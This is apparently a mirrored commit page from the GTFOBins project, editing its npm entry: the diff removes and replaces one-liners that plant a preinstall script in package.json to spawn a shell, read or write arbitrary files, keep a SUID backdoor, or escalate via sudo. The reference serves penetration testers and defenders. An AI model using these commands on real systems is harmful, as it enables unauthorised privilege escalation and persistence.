public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-26 06:49:44 +01:00
Code Issues Projects Releases Wiki Activity

Fix npm

Browse Source
This commit is contained in:
Andrea Cardaci 2021-01-21 15:04:27 +01:00 committed by GitHub
parent f8ff5eddc7
commit 2ce5e831b7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 27 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

35
_gtfobins/npm.md
View File

@ -1,32 +1,13 @@
--- ---
functions: functions:
shell: shell:
- description: Get a shell as the user used to execute the binary. - code: |
code: | TF=$(mktemp -d)
echo '{"scripts": { "preinstall": "/bin/bash -p" }}' > package.json \ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm i . --unsafe-perm npm -C $TF i
file-read:
- description: Read un/privileged files if the npm binary have read access. The file path must be absolute.
code: |
FILE=name_of_file
echo '{"scripts": { "preinstall": "cat '$FILE' " }}' > package.json \
npm i . --unsafe-perm
file-write:
- description: Write to un/privileged files if the npm binary have write access. The file path must be absolute.
code: |
FILE=name_of_file \
DATA=data_to_write \
echo '{"scripts": { "preinstall": "echo '$DATA' > '$FILE' " }}' > package.json \
npm i . --unsafe-perm
suid:
- description: If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges. This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
code: |
sudo install -m =xs $(which npm) . \
echo '{"scripts": { "preinstall": "/bin/bash -p" }}' > package.json \
npm i . --unsafe-perm
sudo: sudo:
- description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. - code: |
code: | TF=$(mktemp -d)
echo '{"scripts": { "preinstall": "/bin/bash -p" }}' > package.json \ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm i . --unsafe-perm sudo npm -C $TF --unsafe-perm i
--- ---